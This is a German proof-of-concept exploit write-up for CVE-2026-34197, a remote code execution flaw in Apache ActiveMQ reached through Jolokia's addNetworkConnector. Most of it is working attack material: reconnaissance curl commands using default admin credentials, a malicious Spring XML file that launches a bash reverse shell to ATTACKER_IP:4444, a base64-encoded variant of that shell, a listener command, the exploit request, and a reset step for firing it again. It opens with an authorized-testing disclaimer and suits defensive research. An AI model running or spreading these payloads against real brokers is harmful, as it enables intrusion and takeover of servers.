
Proof-of-Concept-Exploit für CVE-2026-34197, eine RCE in Apache ActiveMQ über Jolkia's addNetworkConnector, mit technischen Hinweisen und Reverse-Shell-Payload.
addNetworkConnector RCEProof-of-Concept und technische Hinweise für CVE-2026-34197, eine Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die über die Jolokia-JMX-HTTP-Brücke erreichbar ist.
conf/jolokia-access.xml) gewährt exec auf jedem org.apache.activemq:*-MBean. Dies umfasst auch Broker.addNetworkConnector(String), das eine vm://-Transport-URI akzeptiert, deren brokerConfig-Query-Parameter der Broker abruft und als Spring-XML-Bean-Definitionsdatei parst. Ein Bean, dessen Klasse mit ist, wird instanziiert – und gestartet – als Nebeneffekt der Spring-Auflösung des Bean-Graphen. Keine Deserialisierungs-Gadget-Kette erforderlich.java.lang.ProcessBuilderinit-method="start"⚠️ Nur für autorisierte Tests / Forschung / CTF-Zwecke. Führen Sie dies nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Bestätigen Sie, dass exec tatsächlich auf dem Broker-MBean erreichbar ist:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) akzeptiert keine nackte vm://...-URI – sie wird zuerst als Discovery-Agent-URI geparst, und vm ist kein registriertes Discovery-Schema (DiscoveryAgent scheme NOT recognized: [vm]). Wickeln Sie sie in static:(...) ein, das statische Discovery-Schema von ActiveMQ, das die innere vm://-URI unverändert durchreicht:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Der <![CDATA[...]]>-Wrapper ist erforderlich, da der Reverse-Shell-Einzeiler & enthält, das XML andernfalls als Beginn einer Entity-Referenz zu parsen versuchen würde. Eine äquivalente, escaping-freie Option besteht darin, den Befehl stattdessen base64 zu kodieren:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Bereitstellen:
python3 -m http.server 8000
Listener starten:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Der Origin-Header ist wichtig. Wenn die jolokia-access.xml dieser Version CORS-Erzwingung aktiviert hat (ein <cors></cors>-Block, auch leer), verlangt Jolokia einen wohlgeformten Origin/Referer bei zustandsändernden Anfragen. Lassen Sie ihn weg, erhalten Sie eine richtlinienverweigerte Antwort, die so aussehen kann, als sei das System gepatcht, obwohl es das nicht ist.
Ein erfolgreicher Aufruf gibt zurück:
{"value":"NC","status":200}
Der Aufruf ist über HTTP blind – es gibt keinen Antworttext mit Befehlsausgabe –, daher ist Ihr Listener aus dem vorherigen Schritt das, was die Shell tatsächlich einfängt.
InstanceAlreadyExistsException-FalleaddNetworkConnector(String) registriert das resultierende JMX-Objekt immer unter dem Connector-Namen NC, unabhängig davon, welche URI Sie übergeben. Dies ist ein fest verdrahteter Standard in ActiveMQ selbst, nicht etwas, das aus der Anfrage abgeleitet wird:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) bietet keinerlei Möglichkeit, dies zu überschreiben – es gibt keinen Name-/Query-Parameter-Trick, der den registrierten ObjectName ändert (manuell getestet: das Anhängen von ?name=whatever außerhalb des static:(...)-Wrappers wird stillschweigend ignoriert).
Konsequenz: Der zweite Aufruf von addNetworkConnector – sei es Ihr eigener Wiederholungsversuch nach einem defekten Payload oder einfach, weil der Connector bereits von einem früheren erfolgreichen Lauf registriert ist – schlägt fehl:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Dies erfordert keinen Broker-Neustart zur Wiederherstellung. Broker stellt außerdem removeNetworkConnector(String) über dieselbe Jolokia-Richtlinie bereit (die <allow operation="*">-Gewährung auf org.apache.activemq:* deckt jede Broker-Operation ab, nicht nur diese). Löschen Sie den veralteten Connector namentlich und versuchen Sie es erneut:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Ein erfolgreicher Aufruf gibt {"value":true,"status":200} zurück. Führen Sie Schritt 3 unmittelbar danach erneut aus – es registriert NC neu und feuert poc.xml erneut ab.
admin-HTTP-Basic-Anmeldedaten, die nichts mit dem OS-Konto zu tun haben.addNetworkConnector führt das Spring-Bean nicht nur einmal aus – es hinterlässt ein lebendes Netzwerk-Connector-Objekt, das auf dem Broker registriert ist (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Dies ist ein dauerhaftes Artefakt der Ausnutzung, unabhängig davon, ob der erzeugte Prozess selbst fortbesteht.NetworkBridgeConfiguration.java – Quelle des private String name = "NC";-StandardsBrokerViewMBean.java – addNetworkConnector / removeNetworkConnector-JMX-SchnittstelleNetworkConnector.javaDiscoveryNetworkConnector.java